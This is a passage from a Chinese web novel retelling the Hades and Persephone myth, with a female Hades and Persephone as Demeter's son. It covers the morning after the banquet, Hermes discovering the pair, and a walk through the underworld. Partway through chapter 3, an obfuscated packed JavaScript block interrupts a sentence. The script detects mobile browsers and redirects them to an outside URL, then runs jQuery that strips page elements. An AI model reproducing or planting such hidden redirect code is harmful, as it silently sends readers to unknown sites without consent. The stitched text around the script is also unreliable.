《[希腊神话]冥王哈蒂丝》 3. 第三章 奥林匹斯圣山。 赫尔墨斯揉着隐隐作痛的太阳穴,在神殿长廊里摇摇晃晃地走着。 昨晚的狂欢持续到现在,众神几乎都喝得酩酊大醉,鲜少几位保持清醒——其中就有提前离场的冥王。 “葡萄酒真好喝,等会儿再去找狄奥尼索斯要点儿!话说回来,冥王陛下居然真的来了……”赫尔墨斯喃喃自语,回想起昨天宴会上的情景,“然后又提前走了,真是她的风格。” 赫尔墨斯正准备回自己的神殿补觉,却在拐角处撞见了同样一副宿醉模样的阿波罗。 “早安,赫尔墨斯。”阿波罗有气无力地打招呼,看来他还维持着自己引以为傲的理智,“你看到珀瑟福了吗?德墨忒尔正到处找他呢。” 赫尔墨斯停下脚步,直觉不对劲:“珀瑟福?他不见了?” 不对吧,珀瑟福可是这场宴会的主角啊! 虽然昨天他好像没见到过他…… “好像是吧。”阿波罗打了个哈欠,“昨晚珀瑟福莫名其妙就消失了,德墨忒尔以为他害羞躲起来了,结果今早还没找到他。” “会不会在花园里睡着了?”赫尔墨斯猜测,“昨晚喝醉的神祇可不少啊。” 阿波罗摇了摇头:“德墨忒尔已经找遍了整个奥林匹斯,而且有宁芙说……”他挥手让赫尔墨斯靠近过来,然后压低声音继续说:“那宁芙看到珀瑟福在宴会中途去了露台,之后就再也没有回来过。” 露台? 赫尔墨斯的脑海里突然闪过某些画面。 昨夜宴会上他看到哈蒂丝独自走向了落地窗外的露台,冥王陛下喜爱清静,自然是会主动离开席位出去透气的。 而哈蒂丝去了露台,珀瑟福也去了露台,然后他们两个还都提前离场了! 难、难道…… 赫尔墨斯的眼睛慢慢睁大,宿醉的迷糊感瞬间消散。 “阿波罗哥哥。”神使的声音变得相当严肃,“既然有宁芙看到过珀瑟福去了露台,那有谁看到过冥王吗?” 闻言,阿波罗想了想:“厄洛斯好像提过一句,说见到冥王在露台上观赏风景……他还说后来珀瑟福也去了,他们两个聊了很久。” 紧接着阿波罗也反应了过来。 “……等等,所以这跟冥王有关?” 赫尔墨斯的心脏猛地一跳。 昨晚哈蒂丝与珀瑟福都在露台? 那不妨碍他们俩双双提前离开宴会吧? 一个大胆的猜测在赫尔墨斯和阿波罗的心中成型。 “我得去找厄洛斯确认一下。”赫尔墨斯说着就要转身离开这里。 阿波罗拉住他,还是有些怀疑:“你该不会真的认为是冥王带走了珀瑟福吧?不可能,大家都知道她最讨厌这种热闹了。” “正是因为讨厌热闹,所以才有可能提前离场。”赫尔墨斯认真地解释道,“而且还带着一起聊了许久的珀瑟福。” 听到这话,阿波罗愣住了。 光明神英俊的面容上写满了难以置信。 “这太荒谬了,哈蒂丝可是……你知道的,她连恋爱都不屑一顾,昨天还说要加入处女神的行列。” “那可不一定哦~”赫尔墨斯意味深长地眨了眨左眼,“我打赌,冥王陛下肯定会改变主意的!” “你指的是……” 赫尔墨斯没有再多解释,挥手告别阿波罗,然后快速地朝小爱神经常出没的花园飞去。 与此同时,冥王宫寝殿外。 修普诺斯和塔纳托斯等候在房门边,两神交换了一个意味深长的眼神。 作为冥界最了解哈蒂丝的两位神祇,机敏的双子神自然察觉到了他们家陛下今日的不同寻常。 平日里这个时间段哈蒂丝一般都还在沉睡,所以他们经常会去她床边汇报冥界近况。而且,就算她醒来了,也从不会用刚刚那种略显急促的声音回应。 更奇怪的是,寝殿内似乎有另一道微弱的气息。 “你感觉到了吗?”修普诺斯压低声音,金色眼眸中闪烁着玩味的光芒。 塔纳托斯银眸微眯,点了点头:“陌生的生命气息,感觉应该来自奥林匹斯。” “该不会是跟昨天的宴会相关?莫非我们的陛下是与谁看对眼了?”修普诺斯开玩笑道。 “哈,你还是别乌鸦嘴了哥哥……” 就在双子神暗自揣测时,寝殿的门被缓缓打开了。 哈蒂丝站在门内,看起来已经穿戴整齐。她身着一袭黑色镶银边的长袍,长发一丝不苟地挽在脑后作花苞状,恢复了往日的威严模样。 只是,她的脸颊似乎比平时多了些许红晕,眼神也有些闪烁不定。 “进来吧。”哈蒂丝侧身让开通道,声音平静无波。 对,她打算让他们知道自己昨夜都干了什么,毕竟大家都是冥神,没什么好瞒的。 修普诺斯和塔纳托斯步入寝殿,第一眼就注意到了那个坐在角落椅子上的少年。 珀瑟福裹着有些宽松的黑色长袍,长袍下摆隐约露出线条优美的小腿和脚踝,浅金色的卷发在幽蓝磷火下泛着柔和的光泽。 他朝双子神露出一个友善的微笑,翠绿色的眼睛弯成月牙状。 双子神惊讶极了,塔纳托斯甚至还揉了揉双眼,随即瞪大了它们。 这位是德墨忒尔之子? 怎么感觉陛下和他像是一..夜..情了…… 塔纳托斯用胳膊肘碰了碰修普诺斯的腰侧,心情复杂至极。 还真让他说对了,陛下肯定是与这来自奥林匹斯的家伙看对眼了! “早安,两位。”珀瑟福的声音打破了寝殿内略显尴尬的沉默。 “早安……” 修普诺斯和塔纳托斯异口同声地假装咳嗽,然后齐齐转头看向哈蒂丝,等待解释。 哈蒂丝也轻咳了一声,试图维持冥王的威严:“这位是德墨忒尔之子珀瑟福,他暂时在冥界做客。” “做客?”修普诺斯重复道,目光在哈蒂丝和珀瑟福之间来回扫视。 明眼的都看得出来珀瑟福是从昨晚的宴会‘做客’到了今早,地点还一直是陛下的寝殿内,这可真是……难得的款待。 相比起双胞胎哥哥,塔纳托斯的话语要更加直接:“陛下,奥林匹斯那边知道吗?” 哈蒂丝感到头疼。 她就知道会是这种反应。 “德墨忒尔暂时还不知道。”哈蒂丝如实回答,“但我会通知她。” 珀瑟福从椅子上站起身来,长袍下尾轻轻摆动。 他走到哈蒂丝身边,动作自然得仿佛已经这么做过千百遍。 “是我自愿请求留下来的,我对冥界很好奇,想多了解一下哈蒂丝姐姐统治的国度。” 你最好是噢,小子。 双子神根本不信珀瑟福的那套理由。 修普诺斯询问道:“陛下,您确定要这么做吗?这不太符合规矩。” 旁边的塔纳托斯应了一句,暗暗上下打量那看起来与冥界格格不入的少年神祇。 毕竟珀瑟福是德墨忒尔之子,应该属于奥林匹斯,而且他还拥有使大地万物充满生机的能力。 “放心,只是几天。”哈蒂丝强调道,更像是在说服自己,“几天后他就会回去。” 塔纳托斯沉默片刻,然后说:“那我们需要加强冥界边缘的守卫,德墨忒尔女神若是发现儿子失踪,很可能会亲自前来。” “她肯定会的。”哈蒂丝叹息,“我就是担心那点。” 哈蒂丝觉得非常愧疚,因为她睡了跟自己关系最好的亲姐妹的儿子,而在这之前她甚至还亲口说过要成为处女神。 要是被宙斯和波塞冬知道了,他们两个肯定会以此嘲笑她整整三百年的…… 忽然,修普诺斯轻笑出声:“陛下,恕我直言,您这算是……绑架了德墨忒尔的儿子吗?” “不是绑架!”哈蒂丝立刻反驳,漆黑色的眼眸微微睁大,“这是邀请,暂时的邀请。” 随即她又顿了顿。 “好吧,其实就是绑架……” 糟糕,越来越愧疚了,珀瑟福我对不起你,德墨忒尔我也对不起你…… 哈蒂丝在内心碎碎念着。 “我说过了,我是自愿跟着哈蒂丝姐姐回来的。”珀瑟福看出来了哈蒂丝的迟疑,自然而然地接过了话题,“而且姐姐很温柔,对我可好了。” 两位打配合的样子可真是般配啊。 双子神交换了一个‘我们都懂’的眼神,识趣地不再追问。 “那么,陛下,关于今日要汇报的事项……” 修普诺斯适时转移话题,开始讲述冥界的日常工作。 在这期间,哈蒂丝努力集中注意力,眼角余光却总是不自觉地瞟向珀瑟福,他令她宛若疯魔了一般。 少年安静地站在她身边,正认真地听着双子神的汇报,仿佛真的对冥界事务很感兴趣的样子。偶尔他会微微歪头,露出思考的表情,那模样竟有几分可爱。 不,应该是一点儿都不可爱。哈蒂丝在内心纠正着自己。保持清醒,哈蒂丝,这只是厄洛斯的恶作剧带来的错觉! “……所以,斯提克斯河最近的水流有些异常,可能是上游的怨灵数量增加导致的。”塔纳托斯结束了汇报,“您需要亲自过去查看一下吗?” 哈蒂丝正要回答,珀瑟福却突然开口:“我可以一起去吗?我想看看冥界的河流是什么样子的。” 修普诺斯和塔纳托斯再次看向哈蒂丝。 哈蒂丝犹豫了。 带春神去冥河?这听起来就像把鲜花扔进岩浆一样毫不协调。 然而,珀瑟福那双充满期待的眼睛实在是让她难以拒绝啊……他甚至还故意朝她扬眉勾唇,露出更加闪耀的笑容。 他的美貌充满侵略性,这点她非常清楚。 “好吧。”哈蒂丝最终妥协道,“但你要跟紧我,冥界不是奥林匹斯,这里有很多危险的地方。” 珀瑟福即答:“我会的!谢谢姐姐!” 见状,修普诺斯掩嘴轻笑,塔纳托斯则别过脸去。 双子神的肩膀都在微微抖动。 哈蒂丝瞪了这两个偷笑的家伙一眼,他们却装作没看见。 “那我们先告退了,陛下。”修普诺斯优雅地行礼,“祝您与我们的贵客度过愉快的一天。” 塔纳托斯同样朝哈蒂丝行了礼。 双子神离开后,寝殿重新恢复了安静。 哈蒂丝转身看向珀瑟福,想要说些什么,却发现少年正专注地看着她,眼神温柔得令她心头一颤。 “怎么了?”哈蒂丝不自然地移开视线。 “只是觉得姐姐认真工作的样子很迷人。”珀瑟福坦诚地回答道,“您绝对是众神中最负责任的那一位。” 其实后面那句话暗藏心机。 哈蒂丝揉了揉眉心:“过誉了。” 她真是不擅长应付异性,尤其对方还是珀瑟福这样奇特的孩子。 “没有噢,这是真心话。”珀瑟福走近一步,就像昨夜那样靠近她,“姐姐永远都是最好的。” 这番直白的赞美让哈蒂丝更加心慌意乱,她努力按捺住想要与他再来一次的冲动,头疼于这家伙简直就是生来克制自己的。 “你不是想去看冥河吗?现在我们就去吧。” “好。”珀瑟福乖巧地点头,然后看了看自己身上的长袍,“不过姐姐,我就穿成这样去吗?会不会给您丢脸?” 哈蒂丝这才注意到珀瑟福的穿着问题。 那件黑色长袍对珀瑟福来说确实不太合身,它松松垮垮地挂在他的身上,领口变得过低,露出一片白皙的胸膛和锁骨。 刚刚急着给他找穿的时没注意,这衣服又大又长到拖地,平常不是放衣柜里吃灰就是被她当睡衣穿,也难怪他穿着有些别扭。 而且,他的胸膛和锁骨形状是真的很好看…… 哈蒂丝移开目光:“换一件吧,我带你去更衣室。” 珀瑟福又是乖巧点头:“好。” 冥王的更衣室是一个巨大的圆形房间,里面陈列着各式各样的服装,从正式的礼服到日常的长袍应有尽有,但它们大多数都是黑色或深色系,非常符合刻板印象中冥界统治者的身份。 哈蒂丝在衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886607|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架间穿梭,试图找到适合珀瑟福的衣物。 “这些对你来说可能显得过于阴沉了。”哈蒂丝有些苦恼,“你喜欢这些颜色吗?” “不会啊,姐姐不用担心,我觉得都挺适合我的。” 珀瑟福并不在意衣物颜色如何,他正在衣架间好奇地左顾右盼,碍于礼仪没有直接动手。 他拿起一件镶有银线的黑色外袍,在自己身前比了比。 “哇哦,这件衣服跟姐姐身上的好相似,要是我也这么穿的话……会不会像是情侣装呢?” 真的,春神说话实在是太直白了。 连本该隐藏的野心都完全暴露无遗啊。 哈蒂丝努力让自己直面现状:“那是我的备用日常装,你穿上的话尺寸可能会小一些。” “不,我觉得正好合适。”珀瑟福已经脱..下那件过于宽松的长袍,当着哈蒂丝的面换上了手上这件与她配套的‘情侣装’。 哈蒂丝感到诧异,这件衣服虽然尺寸略小,但竟然真的合珀瑟福身。 春神的身材属于那种穿衣显瘦脱衣有肉的极品,当换上新衣后,他健壮的身体曲线被隐约勾勒,衣料上的银丝在幽暗的光线下闪烁着微光。 他对着落地镜动了动,漂亮的形象看得哈蒂丝呆滞了一下。 “姐姐觉得怎么样?”珀瑟福转过身来,眼神期待地看着哈蒂丝。 哈蒂丝一时失语。 不得不承认,珀瑟福穿着她的衣服时竟有一种奇特的吸引力,她就像是被蛊惑了似的,完全不想移开放在他身上的目光。 他是阿佛洛狄忒假扮的吗?为什么会这么危险呢…… “还不错。”哈蒂丝声音干涩地评价道,感觉自己急需喝水。 珀瑟福满意地笑了,然后又从衣架上取下一件披风披在了自己的肩膀处。 “现在我们可以出发了吗?” “走吧。” 哈蒂丝颔首,终于借此机会移开了自己放在珀瑟福身上的目光。 在走出更衣室时,哈蒂丝想了一下,还是说出了这句话:“你母亲现在肯定担心极了,德墨忒尔不会允许她的儿子留在冥界。” “那就不要告诉母亲。”珀瑟福走在哈蒂丝身后,她听不出他的声音中包含哪些情绪,“至少暂时不要,我想在这里待一段时间,可以慢慢想办法。” “这是欺骗。”哈蒂丝皱眉。 “这是策略。”珀瑟福一本正经地纠正道,“而且母亲现在应该以为我在奥林匹斯的某个角落睡着了,她不会立刻怀疑到姐姐您的头上。” 哈蒂丝还想再说些什么,就听到寝殿外突然传来了轻微的动静。 那不是敲门声,而是某种几乎听不见的窸窣声,像是有谁正在门外偷听。 他们同时警觉起来。 哈蒂丝眼神一冷,正要去查看,珀瑟福却按住了她的手。 “让我来。”珀瑟福轻声说道,眼中闪过一丝恶作剧般的光芒。 寝殿外,赫尔墨斯正屏住呼吸,将耳朵贴在门上。 他刚刚已经找到厄洛斯确认了昨晚的情况。 小爱神说自己确实看到了哈蒂丝和珀瑟福在露台上交谈,而且他俩靠得很近,气氛非常暧昧。之后厄洛斯便荡着秋千飞远了,没注意到那两位是何时离开的,但可以肯定,两神是前后脚走的。 有了这些信息,赫尔墨斯几乎能确定珀瑟福就在冥界。 不过,他需要证据,需要亲眼看到或者听到什么。 所以赫尔墨斯动用了自己作为神使的特权,那双带翼凉鞋不仅能让他快速移动,还能让他的脚步轻如羽毛、不发出任何声音。 他就这样悄悄潜入冥界,避开冥神们的注意,一路偷摸到了冥王宫寝殿。 此刻,赫尔墨斯正全神贯注地听着门内的动静。 起初是一片安静,然后他听到了模糊的说话声,虽然听不清内容,但能分辨出来有两位神祇待在房间里面。 接着又是一阵沉默,然后是—— “姐姐,轻一点……” 是珀瑟福的声音!虽然故意压低了音量,但赫尔墨斯绝对不会听错! 而且那声音中似乎带着……某种暧昧的喘息? 赫尔墨斯的眼睛顿时瞪大了,嘴巴张得更大。 他不敢相信自己的耳朵,又往前凑了凑,想要听得更清楚些。 “这样也好厉害……” “嗯……姐姐的手好凉,但是很舒服……” “喜欢……最喜欢姐姐了……” 虽然其中没有哈蒂丝的声音,但是珀瑟福那连绵不断的话语内容还真是色..情啊! 赫尔墨斯的脸瞬间涨红了。 他曾有过恋爱经验,并且作为奥林匹斯最八卦的神祇之一,他立刻就明白了门内正在发生什么。 天呐!以糟老头子的名义起誓——哈蒂丝和珀瑟福!他们居然真的、真的……!!! 就在赫尔墨斯震惊得说不出话时,寝殿的门突然被打开了。 他因为惯性向前倾倒,差点摔进门内。 “哟,这不是赫尔墨斯嘛?” 珀瑟福站在门口,面色正常,身上整洁地穿着一袭银丝黑袍,看起来并不像是刚从情..欲里脱身的样子。 “早啊,这就来拜访了?有什么急事吗?” 珀瑟福没有如同面对哈蒂丝时那般露出笑容,他面无表情地看着眼前的神使,冷酷的气质完全不符合他春神的身份。 春神只对特定者展露自己的不同面。 赫尔墨斯尴尬地站稳,不好意思地挠了挠后脑勺:“早,我、我只是……那个……” 言语间,赫尔墨斯看向寝殿内。 哈蒂丝正长发散乱地坐在床边,眼神冰冷地看过来。 而且,她身上的衣物与珀瑟福的简直一模一样,感觉就是情侣装。 就在赫尔墨斯愈加确定自己的某个猜测时,珀瑟福倏地挡住了他的视线。 “不准看。”珀瑟福终于勾起嘴角,却是似笑非笑,“她是我的。” 赫尔墨斯:“……” 这是什么孩子气的奇怪独占欲? 4. 第四章 赫尔墨斯被珀瑟福那突如其来的宣告惊得目瞪口呆,一时之间竟不知该如何回应。 他身为神使,见过各种场面,却从未遇到过这种匪夷所思的状况——尤其对方还是德墨忒尔之子,春神珀瑟福。 “珀瑟福你误会了!”赫尔墨斯连忙摆手,转移话题,“话说回来,为什么你会在这里?” 珀瑟福双手环胸,嘴唇轻抿,没有说话。 此时,被珀瑟福挡住的冥王已经站起身来,整理好了稍显凌乱的衣物,看起来还是气势十足。 即便珀瑟福在开门前为了让赫尔墨斯上当而说出了那些话语……它们让她心慌意乱,但现在不是合适的时候。 哈蒂丝走过来,伸手拉开了珀瑟福,与赫尔墨斯面对面。 而珀瑟福则是垂眸看着那只手。 它洁白而又骨节分明,露出纤细的腕部,手掌抓住他时五指微微缩紧,薄皮泛起浅浅的粉色,犹如上好玉石般晶莹剔透。 她体温冰凉,却很柔软,令他愈加想要看清她的心。 “赫尔墨斯,那话应该由我来问你。”哈蒂丝眯了眯眼,凛冽的目光直视面前的神使,“你来这里做什么?” 而且,这是他第几次擅闯冥王宫了? 真当她没脾气是吧? 哈蒂丝不在乎让赫尔墨斯也知道自己和珀瑟福翻云覆雨过,毕竟他一向消息灵通又相当明事理,比他父亲好多了。 神使迅速切换回专业模式,露出他那标志性的、令人难以生气的灿烂笑容:“尊敬的冥王陛下,我只是受德墨忒尔之托来询问您是否见过珀瑟福,毕竟他昨晚从宴会上消失了,而有目击者说看到过您和他在一起。” 哈蒂丝心中一紧,知道该来的总会来。 她瞥了珀瑟福一眼,对方却显得异常镇定,甚至还挑了挑眉,带着一丝玩味。 “对,珀瑟福在我这里。”哈蒂丝决定坦白,“是我把他带回了冥界,可能他还会再在我们这儿做客几天。” 赫尔墨斯的眼睛瞪大了几分:“做客?从昨晚到现在?还会有更多时间?” 不是,冥王陛下这是何意味? 想要珀瑟福就直说好吧! “是啊,原本我还想永远留在这里。”珀瑟福插话道,自然而然地伸手揽住了哈蒂丝的腰,“如果哈蒂丝姐姐同意的话。” 哈蒂丝身体一僵,却顺从心意地没有推开珀瑟福。 这让赫尔墨斯确信了自己的猜测——哈蒂丝与珀瑟福绝对是好上了!虽然这速度太快,但跟住在奥林匹斯圣山之上的某些家伙比起来,他们俩还算嫩了些。 就是不知道冥王陛下还记得她的处女神宣言吗?她现在还想去向斯提克斯河发誓吗? 不过…… “德墨忒尔非常担心,她已经找遍了奥林匹斯的每一个角落。”赫尔墨斯决定保持中立,即使他心里更加偏向这份突如其来的感情。 “那就告诉母亲我在这里。”珀瑟福的语气轻松得像是在谈论天气,“告诉她我很好,并且决定暂时留在冥界。” “暂时?”赫尔墨斯挑眉。 刚刚不还说想要永远留在这里吗? “或者永久,这取决于哈蒂丝姐姐。”珀瑟福目光转向哈蒂丝,翠绿色的眼睛里闪烁着向往的光芒,“您会让我留下来的,对吗?” 对此,哈蒂丝感到无比头疼,不仅是因为德墨忒尔那边的情况和珀瑟福多次提及的愿望。 哈蒂丝知道理智上应该拒绝这段莫名其妙的感情,应该立即让赫尔墨斯把珀瑟福带回奥林匹斯,然后结束这场闹剧。 但当她看向珀瑟福的眼睛,当她感受到他身躯的温热时,那些理智的念头就变得模糊不清了。 这就是‘爱’吗? 爱致使盲目。 “我需要时间考虑。”哈蒂丝给出了一个折中的回答,“赫尔墨斯,你得告诉德墨忒尔她的儿子很安全,过几天我会亲自送珀瑟福回去。” 闻言,珀瑟福嘴角下撇,眸光暗了暗,可却没有开口。 赫尔墨斯看得出来珀瑟福现在心情不爽,因此他心里更加兴奋,非常看好这对外表性格十分不搭的‘情侣’了。 当然,他面上还是佯装着没有表现出来。 “遵命!我会以最快速度准确转达消息的!”赫尔墨斯说道,“但德墨忒尔可能不会轻易接受这个解释,您也清楚她对珀瑟福的保护严密至极。” 是啊,那是德墨忒尔藏了许久的儿子,是她独自孕育的孩子。 “我知道。”哈蒂丝面露愧疚,声音中带着歉意,“告诉她……我很抱歉。” 赫尔墨斯点头答应,最后看了珀瑟福一眼。 春神正双手环胸靠墙,他低垂着头,阴影打下,脸上没有任何表情。 “那我就先告辞了!二位好好相处噢~”赫尔墨斯行了一礼,接着光速跑路。 神使离开后,寝殿内陷入了一阵尴尬的沉默。 珀瑟福放下手来,不再靠墙。 眼见那张脸上不再流露熟悉的情绪,哈蒂丝原本以为珀瑟福会因自己摇摆不定的态度而闹脾气,可他相当懂事,只是凑近过来牵住了她的手。 “走吧,哈蒂丝姐姐。”珀瑟福朝她微微一笑,又变得温柔起来,“我已经迫不及待了。” 迫不及待? 哦,他应该是指去看冥河。 哈蒂丝颔首,压下内心从未散去的不安之情,带着珀瑟福离开了冥王宫。 冥界的景象与奥林匹斯截然不同,既没有阳光和鲜花,也没有欢快的音乐,入目之处皆是永恒昏暗,幽蓝磷火更是无处不在,黑色的岩石构成了崎岖的地貌,远方还会传来亡灵的哀嚎和冥河的流水声。 按照常理来说,珀瑟福会对这里的景象感到不适或者恐惧,但他却显得兴致勃勃,对一切都充满了好奇。 昨夜她带他回来时是走的秘密通道,就是担心他会被冥界的真实模样吓到,可现在看来这完全就是白操心了一场。 “那里是什么?” 珀瑟福指着不远处一片闪烁着微光的区域,它是灰色的平原,面积十分广阔。 “那是真理田园,此处连接着两条道路,分别通往幸福之所爱丽舍乐园和痛苦之所塔耳塔洛斯。”哈蒂丝解释道,“真理田园前有一座审判庭,我安排了三个判官在那里决定亡灵的归宿。” “我可以去看看吗?”珀瑟福问道。 哈蒂丝犹豫了一下,摇头说:“那里不太适合你。” “为什么?”珀瑟福歪头。 “因为你是春神,你的存在会对我们这里产生影响。”哈蒂丝无奈地说道,“看到那些亡灵了吗?他们在避开你。” 闻言,珀瑟福回忆了一下,沿途遇到的亡灵确实都在刻意地与他保持距离。 那又有何关系呢?只要不会妨碍到他就行。 冥界实在是太黑暗了,珀瑟福明明应该本能地排斥这里,可他却一直忍受着内心深处的厌恶感,因为她就在这里。 “所以……我的存在会让他们觉得不舒服吗?”珀瑟福问道,他眉眼间充满了失落,连声音都带着愧疚之情,“对不起,哈蒂丝姐姐,这是我的错。” 当那双绿眸犹豫着望来时,微微下垂的眼尾好似泛起不正常的浅红色,连紧抿的嘴唇看起来都更加具有光泽感了。 见状,哈蒂丝感觉自己的双眼被蒙蔽了,原本已经变回冷硬的心脏又软了下来。 这真是怪异至极。 她还是无法抗拒破碎般的他。 “不,你没有错,你只是让亡灵们感到了困惑。”哈蒂丝只能这么解释着,尝试哄好看起来好像很难过的珀瑟福,“他们不知道该如何反应,因为你是不属于冥界的春神。” 在讲到末尾那句话时,她故意咬重了发音,以此作为暗示。 毕竟珀瑟福确实不属于冥界。 而正如哈蒂丝所言,亡灵们对珀瑟福的存在表现出了复杂的反应。一些亡灵远远地观望着,空洞的眼眶中似乎闪烁着好奇;另一些则躲藏起来,仿佛已被那蓬勃的生命力灼伤;还有一些——特别是刚死亡的,他们正试图靠近,像是飞蛾扑火般被春神的气息吸引。 珀瑟福注意到一个年迈男性亡灵的举动,对方伸出透明的手,却在即将碰到他时缩了回去。 “嘶。”他蹙了蹙眉,“好冷。” “当然,亡灵都这样。” 又有新的亡灵想要接近触碰珀瑟福,他厌烦了,直接躲在了哈蒂丝身后,双手还环紧她的腰肢。 “我害怕,哈蒂丝姐姐……”他嘟囔着,把她往自己怀里抱得更紧,“还是姐姐最好,既温暖又能给我带来安全感,最喜欢姐姐了。” 体温也很冰凉的冥王陛下:“……” 时时刻刻都在耍心机吗?真可怕啊,春神。 况且,明明是他自己温暖无比,能给她带来安全感。 “总之,你的存在的确吸引亡灵。”哈蒂丝没有挣脱珀瑟福的紧抱,她只是严肃地警告着他:“但对亡灵来说,过于强烈的生命气息就如同毒药。保持距离对你和他们都好。” 这也是为了维持冥界的秩序。 珀瑟福点了点头,他内心深思着,眸底沉淀暗色。 两神继续前行。 忽然,哈蒂丝出声询问:“你有想过要结婚吗?” 会对他说出这话的她,绝对是疯了。 哈蒂丝表面平静,实则内心已经乱了套。 珀瑟福愣了愣,随即睁大眼睛:“姐姐的意思是……要跟我结婚吗?” “不,我只是问一下,而且问的是你的意见。” “好吧,虽然我很难过,但我都听姐姐的,只要姐姐您开心就好。” “……或许可以稍微考虑一下结婚之事。” 在哈蒂丝这么说了后,珀瑟福猛地抬起头来,也不再假装难过来使她心软了。 “真的?姐姐真的这么想?”他状似小心翼翼地靠近她,脸上却不自觉地露出了笑容,仿佛胜券在握。 春神那洋溢着喜悦的神情太过美丽,就这样再度蛊惑了冥王。她想,别再纠结了!既然她对他做了这种事,那多多少少就得负起责任来。 并且,她也确实心悦他。 于是哈蒂丝回应道:“对,可以考虑。” 唉,哄哄他吧。 顺便满足一下她自己。 虽然珀瑟福知道哈蒂丝为她自己留了余地,但当听到那个回答后,他还是忍不住又一次地抱紧了她。 “我最爱姐姐了,您真好!” 珀瑟福亲吻着哈蒂丝泛起红晕的脸颊,如果现在正在床上,他一定会拉着她大做特做。 “那我们要不要订婚?” 当然,情感固然重要,理智不可或缺。 “等我处理完工作再说吧。”哈蒂丝抚摸着自己刚刚被吻过的地方,撇开视线,难以与珀瑟福对视,“这事还得与你母亲商量。” 珀瑟福乖巧地点头:“好,珀瑟福都听哈蒂丝姐姐的。” 小插曲就这么过去了。 他俩一路上见到了更多景象,直至抵达阿刻戎河畔。 这条主要河流又名羽沉河,代表痛苦与哀怨。它宽阔而黑暗,水面平静如镜,散发着令人不安的气息。 河岸边,卡戎正在数着钱币,准备摆渡一批新到的亡灵。 当看到哈蒂丝后,卡戎恭敬地行了礼。 “日安,陛下。今日的渡河工作一切正常。”冥河船夫的声音嘶哑难听。 哈蒂丝点头,然后看向河面,“听说斯提克斯河水流有异常?阿刻戎河呢?” 冥界有阿刻戎河、科库托斯河、弗莱格桑河、勒忒河和斯提克斯河河。五大冥河虽未直接连接,但都有支流相通。 卡戎指向河流上游:“是的,最近上游的水流变得有点儿湍急,而且河水中的怨念似乎更浓了,有几个亡灵在渡河时差点被拉下水。” 听到这话,哈蒂丝皱起眉头。 这确实是个问题,冥河的稳定对冥界秩序而言至关重要。 “好,你继续忙。”哈蒂丝对卡戎说道,然后转身看向无言了有一会儿的春神:“珀瑟福,你就在这里等我吧,不要靠近河边。” 珀瑟福询问:“您要去哪里?去查看河流上游吗?” “对,我得保证冥府的安全。” 珀瑟福本想跟过去,但哈蒂丝的表情非常严肃,她甚至还警告似地瞥了他一眼,于是他只好点头答应。 就这样,哈蒂丝沿着河岸向上游走去,她的身影很快就消失在了冥界的雾气中,独留下珀瑟福站在原地,有些不耐烦地环顾四周。 卡戎已经继续他的摆渡工作,亡灵们沉默地排队上船,整个场景寂静而又诡异。 “所以,这就是死后的世界。”珀瑟福低声自语,俯身伸手触碰河岸边的一朵苍白的花。 珀瑟福不知不觉地想起之前发生的事情,回忆画面一停留在哈蒂丝说出‘结婚’上时,他就忍不住心情大好,愉悦的情绪四散开来。 在被他指尖接触的瞬间,那朵花微微颤动,颜色似乎变得鲜艳了些许,充满了不可思议的活力。 “真有意思。”珀瑟福眼中闪过异光,“哈蒂丝姐姐说的没错,我就是让这里的花开得更好了。” 因为就连冥界的植物也无法抵挡他的能力。 那代表着他绝对适合这里。 珀瑟福直起腰来,嗅了嗅指尖留存的花香,然后被它带着酸味的香气熏得苦下了脸。 “怎么会有这么奇怪的花……” 珀瑟福清理了一番自己的手指,当即决定在哈蒂丝回来前探索一下周围。 没走多远,他就听到了一阵低沉的咆哮声,那声音来自冥界大门的方向,充满了恐怖的恶意。 哇哦,真是越来越有趣了! 珀瑟福循声走去,很快便见到了冥界的入口。 巨大的石门两旁燃烧着永不熄灭的火炬,而在门前,一只庞大的三头犬正匍匐在地,六只眼睛警惕地盯着他。 刻耳柏洛斯——冥界的看门犬。 珀瑟福听说过这只来头不小的怪物,亲眼目睹后直觉兴奋。 刻耳柏洛斯的体型堪比小山,三个头颅分别面朝不同方向,确保没有任何入侵者能逃过它的监视。它粗壮的脖子上没有戴着沉重的锁链,生出毒液的血盆大口张开,露出如匕首般锋利的獠牙,带着恶臭的口水不断地滴落于地面,腐蚀出小小的坑洞。 更为奇妙的是,刻耳柏洛斯的下身是一条龙尾,头上和背上纽结着无数条蛇,看起来十分可怕。 “你好啊,小家伙。”珀瑟福微笑着打招呼,丝毫没有被吓到。 何况,他现在正为哈蒂丝的突然开窍而高兴着呢。 刻耳柏洛斯的三颗头颅同时转向他,发出威胁般的低吼。它能感觉到珀瑟福既不是亡灵也不是冥神,他跟赫尔墨斯同样来自奥林匹斯,却拥有比其更加蓬勃旺盛的自然生命力。 这直接启动了刻耳柏洛斯的主动防御外加攻击状态,珀瑟福是闯入者,是生者,更是它必须要驱逐的对象。 那六双血红色大眼睛直勾勾地盯着他,危险渐渐逼近。 ——为了冥王陛下! “放轻松,我是和哈蒂丝姐姐一起来的。”珀瑟福试图解释,慢慢向前走了几步。 这是一个错误。 但他知道。 刻耳柏洛斯将珀瑟福的动作视为挑衅和威胁,中间的头颅猛地抬起,发出一声震耳欲聋的咆哮,随即整具庞大的身躯扑了过来。 若是普通亡灵,甚至是普通神祇,此刻恐怕已经惊慌失措。然而珀瑟福没有。他始终感到兴奋,仿佛这不是一场生死搏斗,而是一场有趣的游戏。 在刻耳柏洛斯扑来的瞬间,珀瑟福轻盈地向后一跃,避开了那能咬碎岩石的利齿。 他的动作流畅而又优雅,完全不像是在躲避攻击,更像是在舞蹈。 “你没有我所听闻的那么凶猛,小家伙。”珀瑟福语气轻松地评价了这么一句话。 刻耳柏洛斯被激怒了,它从未遇到过如此不把它放在眼里的对手,三颗头颅同时攻击,从不同方向封死了珀瑟福的退路。 但珀瑟福再次让这怪物惊讶了,他没有试图逃跑,反而迎了上去。 